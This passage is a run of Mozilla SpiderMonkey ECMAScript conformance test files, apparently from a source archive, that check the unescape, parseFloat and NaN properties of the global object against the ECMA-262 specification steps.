65536; CHARCODE+= 54321, NONHEXCHARCODE++ ) { NONHEXCHARCODE = getNextNonHexCharCode( NONHEXCHARCODE ); new TestCase( SECTION, "unescape( %u"+ (ToUnicodeString(CHARCODE)).substring(0,3) + String.fromCharCode( NONHEXCHARCODE ) +" )" + "[where last character is String.fromCharCode("+NONHEXCHARCODE+")]", String.fromCharCode(eval("0x"+ (ToUnicodeString(CHARCODE)).substring(0,2))) + (ToUnicodeString(CHARCODE)).substring(2,3) + String.fromCharCode( NONHEXCHARCODE ), unescape( "%" + (ToUnicodeString(CHARCODE)).substring(0,3)+ String.fromCharCode( NONHEXCHARCODE ) ) ); } test(); function getNextNonHexCharCode( n ) { for ( ; n < Math.pow(2,16); n++ ) { if ( ( n == 43 || n == 45 || n == 46 || n == 47 || (n >= 71 && n <= 90) || (n >= 103 && n <= 122) || n == 64 || n == 95 ) ) { break; } else { n = ( n > 122 ) ? 0 : n; } } return n; } function ToUnicodeString( n ) { var string = ToHexString(n); for ( var PAD = (4 - string.length ); PAD > 0; PAD-- ) { string = "0" + string; } return string; } function ToHexString( n ) { var hex = new Array(); for ( var mag = 1; Math.pow(16,mag) <= n ; mag++ ) { ; } for ( index = 0, mag -= 1; mag > 0; index++, mag-- ) { hex[index] = Math.floor( n / Math.pow(16,mag) ); n -= Math.pow(16,mag) * Math.floor( n/Math.pow(16,mag) ); } hex[hex.length] = n % 16; var string =""; for ( var index = 0 ; index < hex.length ; index++ ) { switch ( hex[index] ) { case 10: string += "A"; break; case 11: string += "B"; break; case 12: string += "C"; break; case 13: string += "D"; break; case 14: string += "E"; break; case 15: string += "F"; break; default: string += hex[index]; } } if ( string.length == 1 ) { string = "0" + string; } return string; } mozjs17.0.0/js/src/tests/ecma/GlobalObject/15.1.2.5-2.js0000664000175000017500000001056012106270663021770 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.1.2.5-2.js ECMA Section: 15.1.2.5 Function properties of the global object unescape( string ) Description: This tests the cases where there are fewer than 4 characters following "%u", or fewer than 2 characters following "%" or "%u". The unescape function computes a new version of a string value in which each escape sequences of the sort that might be introduced by the escape function is replaced with the character that it represents. When the unescape function is called with one argument string, the following steps are taken: 1. Call ToString(string). 2. Compute the number of characters in Result(1). 3. Let R be the empty string. 4. Let k be 0. 5. If k equals Result(2), return R. 6. Let c be the character at position k within Result(1). 7. If c is not %, go to step 18. 8. If k is greater than Result(2)-6, go to step 14. 9. If the character at position k+1 within result(1) is not u, go to step 14. 10. If the four characters at positions k+2, k+3, k+4, and k+5 within Result(1) are not all hexadecimal digits, go to step 14. 11. Let c be the character whose Unicode encoding is the integer represented by the four hexadecimal digits at positions k+2, k+3, k+4, and k+5 within Result(1). 12. Increase k by 5. 13. Go to step 18. 14. If k is greater than Result(2)-3, go to step 18. 15. If the two characters at positions k+1 and k+2 within Result(1) are not both hexadecimal digits, go to step 18. 16. Let c be the character whose Unicode encoding is the integer represented by two zeroes plus the two hexadecimal digits at positions k+1 and k+2 within Result(1). 17. Increase k by 2. 18. Let R be a new string value computed by concatenating the previous value of R and c. 19. Increase k by 1. 20. Go to step 5. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.1.2.5-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "unescape(string)"; writeHeaderToLog( SECTION + " "+ TITLE); // since there is only one character following "%", no conversion should occur. for ( var CHARCODE = 0; CHARCODE < 256; CHARCODE += 16 ) { new TestCase( SECTION, "unescape( %"+ (ToHexString(CHARCODE)).substring(0,1) +" )", "%"+(ToHexString(CHARCODE)).substring(0,1), unescape( "%" + (ToHexString(CHARCODE)).substring(0,1) ) ); } // since there is only one character following "%u", no conversion should occur. for ( var CHARCODE = 0; CHARCODE < 256; CHARCODE +=16 ) { new TestCase( SECTION, "unescape( %u"+ (ToHexString(CHARCODE)).substring(0,1) +" )", "%u"+(ToHexString(CHARCODE)).substring(0,1), unescape( "%u" + (ToHexString(CHARCODE)).substring(0,1) ) ); } // three char unicode string. no conversion should occur for ( var CHARCODE = 1024; CHARCODE < 65536; CHARCODE+= 1234 ) { new TestCase ( SECTION, "unescape( %u"+ (ToUnicodeString(CHARCODE)).substring(0,3)+ " )", "%u"+(ToUnicodeString(CHARCODE)).substring(0,3), unescape( "%u"+(ToUnicodeString(CHARCODE)).substring(0,3) ) ); } test(); function ToUnicodeString( n ) { var string = ToHexString(n); for ( var PAD = (4 - string.length ); PAD > 0; PAD-- ) { string = "0" + string; } return string; } function ToHexString( n ) { var hex = new Array(); for ( var mag = 1; Math.pow(16,mag) <= n ; mag++ ) { ; } for ( index = 0, mag -= 1; mag > 0; index++, mag-- ) { hex[index] = Math.floor( n / Math.pow(16,mag) ); n -= Math.pow(16,mag) * Math.floor( n/Math.pow(16,mag) ); } hex[hex.length] = n % 16; var string =""; for ( var index = 0 ; index < hex.length ; index++ ) { switch ( hex[index] ) { case 10: string += "A"; break; case 11: string += "B"; break; case 12: string += "C"; break; case 13: string += "D"; break; case 14: string += "E"; break; case 15: string += "F"; break; default: string += hex[index]; } } if ( string.length == 1 ) { string = "0" + string; } return string; } mozjs17.0.0/js/src/tests/ecma/GlobalObject/shell.js0000664000175000017500000000000012106270663022035 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/GlobalObject/15.1.2.3-1.js0000664000175000017500000006032612106270663021772 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.1.2.3.js ECMA Section: 15.1.2.3 Function properties of the global object: parseFloat( string ) Description: The parseFloat function produces a number value dictated by the interpretation of the contents of the string argument defined as a decimal literal. When the parseFloat function is called, the following steps are taken: 1. Call ToString( string ). 2. Remove leading whitespace Result(1). 3. If neither Result(2) nor any prefix of Result(2) satisfies the syntax of a StrDecimalLiteral, return NaN. 4. Compute the longest prefix of Result(2) which might be Resusult(2) itself, that satisfies the syntax of a StrDecimalLiteral 5. Return the number value for the MV of Result(4). Note that parseFloate may interpret only a leading portion of the string as a number value; it ignores any characters that cannot be interpreted as part of the notation of a decimal literal, and no indication is given that such characters were ignored. StrDecimalLiteral:: Infinity DecimalDigits.DecimalDigits opt ExponentPart opt .DecimalDigits ExponentPart opt DecimalDigits ExponentPart opt Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.1.2.3-1"; var VERSION = "ECMA_1"; var TITLE = "parseFloat(string)"; var BUGNUMBER="none"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "parseFloat.length", 1, parseFloat.length ); new TestCase( SECTION, "parseFloat.length = null; parseFloat.length", 1, eval("parseFloat.length = null; parseFloat.length") ); new TestCase( SECTION, "delete parseFloat.length", false, delete parseFloat.length ); new TestCase( SECTION, "delete parseFloat.length; parseFloat.length", 1, eval("delete parseFloat.length; parseFloat.length") ); new TestCase( SECTION, "var MYPROPS=''; for ( var p in parseFloat ) { MYPROPS += p }; MYPROPS", "", eval("var MYPROPS=''; for ( var p in parseFloat ) { MYPROPS += p }; MYPROPS") ); new TestCase( SECTION, "parseFloat()", Number.NaN, parseFloat() ); new TestCase( SECTION, "parseFloat('')", Number.NaN, parseFloat('') ); new TestCase( SECTION, "parseFloat(' ')", Number.NaN, parseFloat(' ') ); new TestCase( SECTION, "parseFloat(true)", Number.NaN, parseFloat(true) ); new TestCase( SECTION, "parseFloat(false)", Number.NaN, parseFloat(false) ); new TestCase( SECTION, "parseFloat('string')", Number.NaN, parseFloat("string") ); new TestCase( SECTION, "parseFloat(' Infinity')", Infinity, parseFloat("Infinity") ); new TestCase( SECTION, "parseFloat(' Infinity ')", Infinity, parseFloat(' Infinity ') ); new TestCase( SECTION, "parseFloat('Infinity')", Infinity, parseFloat("Infinity") ); new TestCase( SECTION, "parseFloat(Infinity)", Infinity, parseFloat(Infinity) ); new TestCase( SECTION, "parseFloat(' +Infinity')", +Infinity, parseFloat("+Infinity") ); new TestCase( SECTION, "parseFloat(' -Infinity ')", -Infinity, parseFloat(' -Infinity ') ); new TestCase( SECTION, "parseFloat('+Infinity')", +Infinity, parseFloat("+Infinity") ); new TestCase( SECTION, "parseFloat(-Infinity)", -Infinity, parseFloat(-Infinity) ); new TestCase( SECTION, "parseFloat('0')", 0, parseFloat("0") ); new TestCase( SECTION, "parseFloat('-0')", -0, parseFloat("-0") ); new TestCase( SECTION, "parseFloat('+0')", 0, parseFloat("+0") ); new TestCase( SECTION, "parseFloat('1')", 1, parseFloat("1") ); new TestCase( SECTION, "parseFloat('-1')", -1, parseFloat("-1") ); new TestCase( SECTION, "parseFloat('+1')", 1, parseFloat("+1") ); new TestCase( SECTION, "parseFloat('2')", 2, parseFloat("2") ); new TestCase( SECTION, "parseFloat('-2')", -2, parseFloat("-2") ); new TestCase( SECTION, "parseFloat('+2')", 2, parseFloat("+2") ); new TestCase( SECTION, "parseFloat('3')", 3, parseFloat("3") ); new TestCase( SECTION, "parseFloat('-3')", -3, parseFloat("-3") ); new TestCase( SECTION, "parseFloat('+3')", 3, parseFloat("+3") ); new TestCase( SECTION, "parseFloat('4')", 4, parseFloat("4") ); new TestCase( SECTION, "parseFloat('-4')", -4, parseFloat("-4") ); new TestCase( SECTION, "parseFloat('+4')", 4, parseFloat("+4") ); new TestCase( SECTION, "parseFloat('5')", 5, parseFloat("5") ); new TestCase( SECTION, "parseFloat('-5')", -5, parseFloat("-5") ); new TestCase( SECTION, "parseFloat('+5')", 5, parseFloat("+5") ); new TestCase( SECTION, "parseFloat('6')", 6, parseFloat("6") ); new TestCase( SECTION, "parseFloat('-6')", -6, parseFloat("-6") ); new TestCase( SECTION, "parseFloat('+6')", 6, parseFloat("+6") ); new TestCase( SECTION, "parseFloat('7')", 7, parseFloat("7") ); new TestCase( SECTION, "parseFloat('-7')", -7, parseFloat("-7") ); new TestCase( SECTION, "parseFloat('+7')", 7, parseFloat("+7") ); new TestCase( SECTION, "parseFloat('8')", 8, parseFloat("8") ); new TestCase( SECTION, "parseFloat('-8')", -8, parseFloat("-8") ); new TestCase( SECTION, "parseFloat('+8')", 8, parseFloat("+8") ); new TestCase( SECTION, "parseFloat('9')", 9, parseFloat("9") ); new TestCase( SECTION, "parseFloat('-9')", -9, parseFloat("-9") ); new TestCase( SECTION, "parseFloat('+9')", 9, parseFloat("+9") ); new TestCase( SECTION, "parseFloat('3.14159')", 3.14159, parseFloat("3.14159") ); new TestCase( SECTION, "parseFloat('-3.14159')", -3.14159, parseFloat("-3.14159") ); new TestCase( SECTION, "parseFloat('+3.14159')", 3.14159, parseFloat("+3.14159") ); new TestCase( SECTION, "parseFloat('3.')", 3, parseFloat("3.") ); new TestCase( SECTION, "parseFloat('-3.')", -3, parseFloat("-3.") ); new TestCase( SECTION, "parseFloat('+3.')", 3, parseFloat("+3.") ); new TestCase( SECTION, "parseFloat('3.e1')", 30, parseFloat("3.e1") ); new TestCase( SECTION, "parseFloat('-3.e1')", -30, parseFloat("-3.e1") ); new TestCase( SECTION, "parseFloat('+3.e1')", 30, parseFloat("+3.e1") ); new TestCase( SECTION, "parseFloat('3.e+1')", 30, parseFloat("3.e+1") ); new TestCase( SECTION, "parseFloat('-3.e+1')", -30, parseFloat("-3.e+1") ); new TestCase( SECTION, "parseFloat('+3.e+1')", 30, parseFloat("+3.e+1") ); new TestCase( SECTION, "parseFloat('3.e-1')", .30, parseFloat("3.e-1") ); new TestCase( SECTION, "parseFloat('-3.e-1')", -.30, parseFloat("-3.e-1") ); new TestCase( SECTION, "parseFloat('+3.e-1')", .30, parseFloat("+3.e-1") ); // StrDecimalLiteral::: .DecimalDigits ExponentPart opt new TestCase( SECTION, "parseFloat('.00001')", 0.00001, parseFloat(".00001") ); new TestCase( SECTION, "parseFloat('+.00001')", 0.00001, parseFloat("+.00001") ); new TestCase( SECTION, "parseFloat('-0.0001')", -0.00001, parseFloat("-.00001") ); new TestCase( SECTION, "parseFloat('.01e2')", 1, parseFloat(".01e2") ); new TestCase( SECTION, "parseFloat('+.01e2')", 1, parseFloat("+.01e2") ); new TestCase( SECTION, "parseFloat('-.01e2')", -1, parseFloat("-.01e2") ); new TestCase( SECTION, "parseFloat('.01e+2')", 1, parseFloat(".01e+2") ); new TestCase( SECTION, "parseFloat('+.01e+2')", 1, parseFloat("+.01e+2") ); new TestCase( SECTION, "parseFloat('-.01e+2')", -1, parseFloat("-.01e+2") ); new TestCase( SECTION, "parseFloat('.01e-2')", 0.0001, parseFloat(".01e-2") ); new TestCase( SECTION, "parseFloat('+.01e-2')", 0.0001, parseFloat("+.01e-2") ); new TestCase( SECTION, "parseFloat('-.01e-2')", -0.0001, parseFloat("-.01e-2") ); // StrDecimalLiteral::: DecimalDigits ExponentPart opt new TestCase( SECTION, "parseFloat('1234e5')", 123400000, parseFloat("1234e5") ); new TestCase( SECTION, "parseFloat('+1234e5')", 123400000, parseFloat("+1234e5") ); new TestCase( SECTION, "parseFloat('-1234e5')", -123400000, parseFloat("-1234e5") ); new TestCase( SECTION, "parseFloat('1234e+5')", 123400000, parseFloat("1234e+5") ); new TestCase( SECTION, "parseFloat('+1234e+5')", 123400000, parseFloat("+1234e+5") ); new TestCase( SECTION, "parseFloat('-1234e+5')", -123400000, parseFloat("-1234e+5") ); new TestCase( SECTION, "parseFloat('1234e-5')", 0.01234, parseFloat("1234e-5") ); new TestCase( SECTION, "parseFloat('+1234e-5')", 0.01234, parseFloat("+1234e-5") ); new TestCase( SECTION, "parseFloat('-1234e-5')", -0.01234, parseFloat("-1234e-5") ); new TestCase( SECTION, "parseFloat(0)", 0, parseFloat(0) ); new TestCase( SECTION, "parseFloat(-0)", -0, parseFloat(-0) ); new TestCase( SECTION, "parseFloat(1)", 1, parseFloat(1) ); new TestCase( SECTION, "parseFloat(-1)", -1, parseFloat(-1) ); new TestCase( SECTION, "parseFloat(2)", 2, parseFloat(2) ); new TestCase( SECTION, "parseFloat(-2)", -2, parseFloat(-2) ); new TestCase( SECTION, "parseFloat(3)", 3, parseFloat(3) ); new TestCase( SECTION, "parseFloat(-3)", -3, parseFloat(-3) ); new TestCase( SECTION, "parseFloat(4)", 4, parseFloat(4) ); new TestCase( SECTION, "parseFloat(-4)", -4, parseFloat(-4) ); new TestCase( SECTION, "parseFloat(5)", 5, parseFloat(5) ); new TestCase( SECTION, "parseFloat(-5)", -5, parseFloat(-5) ); new TestCase( SECTION, "parseFloat(6)", 6, parseFloat(6) ); new TestCase( SECTION, "parseFloat(-6)", -6, parseFloat(-6) ); new TestCase( SECTION, "parseFloat(7)", 7, parseFloat(7) ); new TestCase( SECTION, "parseFloat(-7)", -7, parseFloat(-7) ); new TestCase( SECTION, "parseFloat(8)", 8, parseFloat(8) ); new TestCase( SECTION, "parseFloat(-8)", -8, parseFloat(-8) ); new TestCase( SECTION, "parseFloat(9)", 9, parseFloat(9) ); new TestCase( SECTION, "parseFloat(-9)", -9, parseFloat(-9) ); new TestCase( SECTION, "parseFloat(3.14159)", 3.14159, parseFloat(3.14159) ); new TestCase( SECTION, "parseFloat(-3.14159)", -3.14159, parseFloat(-3.14159) ); new TestCase( SECTION, "parseFloat(3.)", 3, parseFloat(3.) ); new TestCase( SECTION, "parseFloat(-3.)", -3, parseFloat(-3.) ); new TestCase( SECTION, "parseFloat(3.e1)", 30, parseFloat(3.e1) ); new TestCase( SECTION, "parseFloat(-3.e1)", -30, parseFloat(-3.e1) ); new TestCase( SECTION, "parseFloat(3.e+1)", 30, parseFloat(3.e+1) ); new TestCase( SECTION, "parseFloat(-3.e+1)", -30, parseFloat(-3.e+1) ); new TestCase( SECTION, "parseFloat(3.e-1)", .30, parseFloat(3.e-1) ); new TestCase( SECTION, "parseFloat(-3.e-1)", -.30, parseFloat(-3.e-1) ); new TestCase( SECTION, "parseFloat(3.E1)", 30, parseFloat(3.E1) ); new TestCase( SECTION, "parseFloat(-3.E1)", -30, parseFloat(-3.E1) ); new TestCase( SECTION, "parseFloat(3.E+1)", 30, parseFloat(3.E+1) ); new TestCase( SECTION, "parseFloat(-3.E+1)", -30, parseFloat(-3.E+1) ); new TestCase( SECTION, "parseFloat(3.E-1)", .30, parseFloat(3.E-1) ); new TestCase( SECTION, "parseFloat(-3.E-1)", -.30, parseFloat(-3.E-1) ); // StrDecimalLiteral::: .DecimalDigits ExponentPart opt new TestCase( SECTION, "parseFloat(.00001)", 0.00001, parseFloat(.00001) ); new TestCase( SECTION, "parseFloat(-0.0001)", -0.00001, parseFloat(-.00001) ); new TestCase( SECTION, "parseFloat(.01e2)", 1, parseFloat(.01e2) ); new TestCase( SECTION, "parseFloat(-.01e2)", -1, parseFloat(-.01e2) ); new TestCase( SECTION, "parseFloat(.01e+2)", 1, parseFloat(.01e+2) ); new TestCase( SECTION, "parseFloat(-.01e+2)", -1, parseFloat(-.01e+2) ); new TestCase( SECTION, "parseFloat(.01e-2)", 0.0001, parseFloat(.01e-2) ); new TestCase( SECTION, "parseFloat(-.01e-2)", -0.0001, parseFloat(-.01e-2) ); // StrDecimalLiteral::: DecimalDigits ExponentPart opt new TestCase( SECTION, "parseFloat(1234e5)", 123400000, parseFloat(1234e5) ); new TestCase( SECTION, "parseFloat(-1234e5)", -123400000, parseFloat(-1234e5) ); new TestCase( SECTION, "parseFloat(1234e+5)", 123400000, parseFloat(1234e+5) ); new TestCase( SECTION, "parseFloat(-1234e+5)", -123400000, parseFloat(-1234e+5) ); new TestCase( SECTION, "parseFloat(1234e-5)", 0.01234, parseFloat(1234e-5) ); new TestCase( SECTION, "parseFloat(-1234e-5)", -0.01234, parseFloat(-1234e-5) ); // hex cases should all return 0 (0 is the longest string that satisfies a StringDecimalLiteral) new TestCase( SECTION, "parseFloat('0x0')", 0, parseFloat("0x0")); new TestCase( SECTION, "parseFloat('0x1')", 0, parseFloat("0x1")); new TestCase( SECTION, "parseFloat('0x2')", 0, parseFloat("0x2")); new TestCase( SECTION, "parseFloat('0x3')", 0, parseFloat("0x3")); new TestCase( SECTION, "parseFloat('0x4')", 0, parseFloat("0x4")); new TestCase( SECTION, "parseFloat('0x5')", 0, parseFloat("0x5")); new TestCase( SECTION, "parseFloat('0x6')", 0, parseFloat("0x6")); new TestCase( SECTION, "parseFloat('0x7')", 0, parseFloat("0x7")); new TestCase( SECTION, "parseFloat('0x8')", 0, parseFloat("0x8")); new TestCase( SECTION, "parseFloat('0x9')", 0, parseFloat("0x9")); new TestCase( SECTION, "parseFloat('0xa')", 0, parseFloat("0xa")); new TestCase( SECTION, "parseFloat('0xb')", 0, parseFloat("0xb")); new TestCase( SECTION, "parseFloat('0xc')", 0, parseFloat("0xc")); new TestCase( SECTION, "parseFloat('0xd')", 0, parseFloat("0xd")); new TestCase( SECTION, "parseFloat('0xe')", 0, parseFloat("0xe")); new TestCase( SECTION, "parseFloat('0xf')", 0, parseFloat("0xf")); new TestCase( SECTION, "parseFloat('0xA')", 0, parseFloat("0xA")); new TestCase( SECTION, "parseFloat('0xB')", 0, parseFloat("0xB")); new TestCase( SECTION, "parseFloat('0xC')", 0, parseFloat("0xC")); new TestCase( SECTION, "parseFloat('0xD')", 0, parseFloat("0xD")); new TestCase( SECTION, "parseFloat('0xE')", 0, parseFloat("0xE")); new TestCase( SECTION, "parseFloat('0xF')", 0, parseFloat("0xF")); new TestCase( SECTION, "parseFloat('0X0')", 0, parseFloat("0X0")); new TestCase( SECTION, "parseFloat('0X1')", 0, parseFloat("0X1")); new TestCase( SECTION, "parseFloat('0X2')", 0, parseFloat("0X2")); new TestCase( SECTION, "parseFloat('0X3')", 0, parseFloat("0X3")); new TestCase( SECTION, "parseFloat('0X4')", 0, parseFloat("0X4")); new TestCase( SECTION, "parseFloat('0X5')", 0, parseFloat("0X5")); new TestCase( SECTION, "parseFloat('0X6')", 0, parseFloat("0X6")); new TestCase( SECTION, "parseFloat('0X7')", 0, parseFloat("0X7")); new TestCase( SECTION, "parseFloat('0X8')", 0, parseFloat("0X8")); new TestCase( SECTION, "parseFloat('0X9')", 0, parseFloat("0X9")); new TestCase( SECTION, "parseFloat('0Xa')", 0, parseFloat("0Xa")); new TestCase( SECTION, "parseFloat('0Xb')", 0, parseFloat("0Xb")); new TestCase( SECTION, "parseFloat('0Xc')", 0, parseFloat("0Xc")); new TestCase( SECTION, "parseFloat('0Xd')", 0, parseFloat("0Xd")); new TestCase( SECTION, "parseFloat('0Xe')", 0, parseFloat("0Xe")); new TestCase( SECTION, "parseFloat('0Xf')", 0, parseFloat("0Xf")); new TestCase( SECTION, "parseFloat('0XA')", 0, parseFloat("0XA")); new TestCase( SECTION, "parseFloat('0XB')", 0, parseFloat("0XB")); new TestCase( SECTION, "parseFloat('0XC')", 0, parseFloat("0XC")); new TestCase( SECTION, "parseFloat('0XD')", 0, parseFloat("0XD")); new TestCase( SECTION, "parseFloat('0XE')", 0, parseFloat("0XE")); new TestCase( SECTION, "parseFloat('0XF')", 0, parseFloat("0XF")); new TestCase( SECTION, "parseFloat(' 0XF ')", 0, parseFloat(" 0XF ")); // hex literals should still succeed new TestCase( SECTION, "parseFloat(0x0)", 0, parseFloat(0x0)); new TestCase( SECTION, "parseFloat(0x1)", 1, parseFloat(0x1)); new TestCase( SECTION, "parseFloat(0x2)", 2, parseFloat(0x2)); new TestCase( SECTION, "parseFloat(0x3)", 3, parseFloat(0x3)); new TestCase( SECTION, "parseFloat(0x4)", 4, parseFloat(0x4)); new TestCase( SECTION, "parseFloat(0x5)", 5, parseFloat(0x5)); new TestCase( SECTION, "parseFloat(0x6)", 6, parseFloat(0x6)); new TestCase( SECTION, "parseFloat(0x7)", 7, parseFloat(0x7)); new TestCase( SECTION, "parseFloat(0x8)", 8, parseFloat(0x8)); new TestCase( SECTION, "parseFloat(0x9)", 9, parseFloat(0x9)); new TestCase( SECTION, "parseFloat(0xa)", 10, parseFloat(0xa)); new TestCase( SECTION, "parseFloat(0xb)", 11, parseFloat(0xb)); new TestCase( SECTION, "parseFloat(0xc)", 12, parseFloat(0xc)); new TestCase( SECTION, "parseFloat(0xd)", 13, parseFloat(0xd)); new TestCase( SECTION, "parseFloat(0xe)", 14, parseFloat(0xe)); new TestCase( SECTION, "parseFloat(0xf)", 15, parseFloat(0xf)); new TestCase( SECTION, "parseFloat(0xA)", 10, parseFloat(0xA)); new TestCase( SECTION, "parseFloat(0xB)", 11, parseFloat(0xB)); new TestCase( SECTION, "parseFloat(0xC)", 12, parseFloat(0xC)); new TestCase( SECTION, "parseFloat(0xD)", 13, parseFloat(0xD)); new TestCase( SECTION, "parseFloat(0xE)", 14, parseFloat(0xE)); new TestCase( SECTION, "parseFloat(0xF)", 15, parseFloat(0xF)); new TestCase( SECTION, "parseFloat(0X0)", 0, parseFloat(0X0)); new TestCase( SECTION, "parseFloat(0X1)", 1, parseFloat(0X1)); new TestCase( SECTION, "parseFloat(0X2)", 2, parseFloat(0X2)); new TestCase( SECTION, "parseFloat(0X3)", 3, parseFloat(0X3)); new TestCase( SECTION, "parseFloat(0X4)", 4, parseFloat(0X4)); new TestCase( SECTION, "parseFloat(0X5)", 5, parseFloat(0X5)); new TestCase( SECTION, "parseFloat(0X6)", 6, parseFloat(0X6)); new TestCase( SECTION, "parseFloat(0X7)", 7, parseFloat(0X7)); new TestCase( SECTION, "parseFloat(0X8)", 8, parseFloat(0X8)); new TestCase( SECTION, "parseFloat(0X9)", 9, parseFloat(0X9)); new TestCase( SECTION, "parseFloat(0Xa)", 10, parseFloat(0Xa)); new TestCase( SECTION, "parseFloat(0Xb)", 11, parseFloat(0Xb)); new TestCase( SECTION, "parseFloat(0Xc)", 12, parseFloat(0Xc)); new TestCase( SECTION, "parseFloat(0Xd)", 13, parseFloat(0Xd)); new TestCase( SECTION, "parseFloat(0Xe)", 14, parseFloat(0Xe)); new TestCase( SECTION, "parseFloat(0Xf)", 15, parseFloat(0Xf)); new TestCase( SECTION, "parseFloat(0XA)", 10, parseFloat(0XA)); new TestCase( SECTION, "parseFloat(0XB)", 11, parseFloat(0XB)); new TestCase( SECTION, "parseFloat(0XC)", 12, parseFloat(0XC)); new TestCase( SECTION, "parseFloat(0XD)", 13, parseFloat(0XD)); new TestCase( SECTION, "parseFloat(0XE)", 14, parseFloat(0XE)); new TestCase( SECTION, "parseFloat(0XF)", 15, parseFloat(0XF)); // A StringNumericLiteral may not use octal notation new TestCase( SECTION, "parseFloat('00')", 0, parseFloat("00")); new TestCase( SECTION, "parseFloat('01')", 1, parseFloat("01")); new TestCase( SECTION, "parseFloat('02')", 2, parseFloat("02")); new TestCase( SECTION, "parseFloat('03')", 3, parseFloat("03")); new TestCase( SECTION, "parseFloat('04')", 4, parseFloat("04")); new TestCase( SECTION, "parseFloat('05')", 5, parseFloat("05")); new TestCase( SECTION, "parseFloat('06')", 6, parseFloat("06")); new TestCase( SECTION, "parseFloat('07')", 7, parseFloat("07")); new TestCase( SECTION, "parseFloat('010')", 10, parseFloat("010")); new TestCase( SECTION, "parseFloat('011')", 11, parseFloat("011")); // A StringNumericLIteral may have any number of leading 0 digits new TestCase( SECTION, "parseFloat('001')", 1, parseFloat("001")); new TestCase( SECTION, "parseFloat('0001')", 1, parseFloat("0001")); new TestCase( SECTION, "parseFloat(' 0001 ')", 1, parseFloat(" 0001 ")); // an octal numeric literal should be treated as an octal new TestCase( SECTION, "parseFloat(00)", 0, parseFloat(00)); new TestCase( SECTION, "parseFloat(01)", 1, parseFloat(01)); new TestCase( SECTION, "parseFloat(02)", 2, parseFloat(02)); new TestCase( SECTION, "parseFloat(03)", 3, parseFloat(03)); new TestCase( SECTION, "parseFloat(04)", 4, parseFloat(04)); new TestCase( SECTION, "parseFloat(05)", 5, parseFloat(05)); new TestCase( SECTION, "parseFloat(06)", 6, parseFloat(06)); new TestCase( SECTION, "parseFloat(07)", 7, parseFloat(07)); new TestCase( SECTION, "parseFloat(010)", 8, parseFloat(010)); new TestCase( SECTION, "parseFloat(011)", 9, parseFloat(011)); // A StringNumericLIteral may have any number of leading 0 digits new TestCase( SECTION, "parseFloat(001)", 1, parseFloat(001)); new TestCase( SECTION, "parseFloat(0001)", 1, parseFloat(0001)); // make sure it's reflexive new TestCase( SECTION, "parseFloat(Math.PI)", Math.PI, parseFloat(Math.PI)); new TestCase( SECTION, "parseFloat(Math.LN2)", Math.LN2, parseFloat(Math.LN2)); new TestCase( SECTION, "parseFloat(Math.LN10)", Math.LN10, parseFloat(Math.LN10)); new TestCase( SECTION, "parseFloat(Math.LOG2E)", Math.LOG2E, parseFloat(Math.LOG2E)); new TestCase( SECTION, "parseFloat(Math.LOG10E)", Math.LOG10E, parseFloat(Math.LOG10E)); new TestCase( SECTION, "parseFloat(Math.SQRT2)", Math.SQRT2, parseFloat(Math.SQRT2)); new TestCase( SECTION, "parseFloat(Math.SQRT1_2)", Math.SQRT1_2, parseFloat(Math.SQRT1_2)); new TestCase( SECTION, "parseFloat(Math.PI+'')", Math.PI, parseFloat(Math.PI+'')); new TestCase( SECTION, "parseFloat(Math.LN2+'')", Math.LN2, parseFloat(Math.LN2+'')); new TestCase( SECTION, "parseFloat(Math.LN10+'')", Math.LN10, parseFloat(Math.LN10+'')); new TestCase( SECTION, "parseFloat(Math.LOG2E+'')", Math.LOG2E, parseFloat(Math.LOG2E+'')); new TestCase( SECTION, "parseFloat(Math.LOG10E+'')", Math.LOG10E, parseFloat(Math.LOG10E+'')); new TestCase( SECTION, "parseFloat(Math.SQRT2+'')", Math.SQRT2, parseFloat(Math.SQRT2+'')); new TestCase( SECTION, "parseFloat(Math.SQRT1_2+'')", Math.SQRT1_2, parseFloat(Math.SQRT1_2+'')); test(); mozjs17.0.0/js/src/tests/ecma/GlobalObject/15.1.1.1.js0000664000175000017500000000153312106270663021624 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.1.1.1.js ECMA Section: 15.1.1.1 NaN Description: The initial value of NaN is NaN. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.1.1.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "NaN"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "NaN", Number.NaN, NaN ); new TestCase( SECTION, "this.NaN", Number.NaN, this.NaN ); new TestCase( SECTION, "typeof NaN", "number", typeof NaN ); test(); mozjs17.0.0/js/src/tests/ecma/GlobalObject/15.1.2.3-2.js0000664000175000017500000004461212106270663021773 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.1.2.3-2.js ECMA Section: 15.1.2.3 Function properties of the global object: parseFloat( string ) Description: The parseFloat function produces a number value dictated by the interpretation of the contents of the string argument defined as a decimal literal. When the parseFloat function is called, the following steps are taken: 1. Call ToString( string ). 2. Remove leading whitespace Result(1). 3. If neither Result(2) nor any prefix of Result(2) satisfies the syntax of a StrDecimalLiteral, return NaN. 4. Compute the longest prefix of Result(2) which might be Resusult(2) itself, that satisfies the syntax of a StrDecimalLiteral 5. Return the number value for the MV of Result(4). Note that parseFloate may 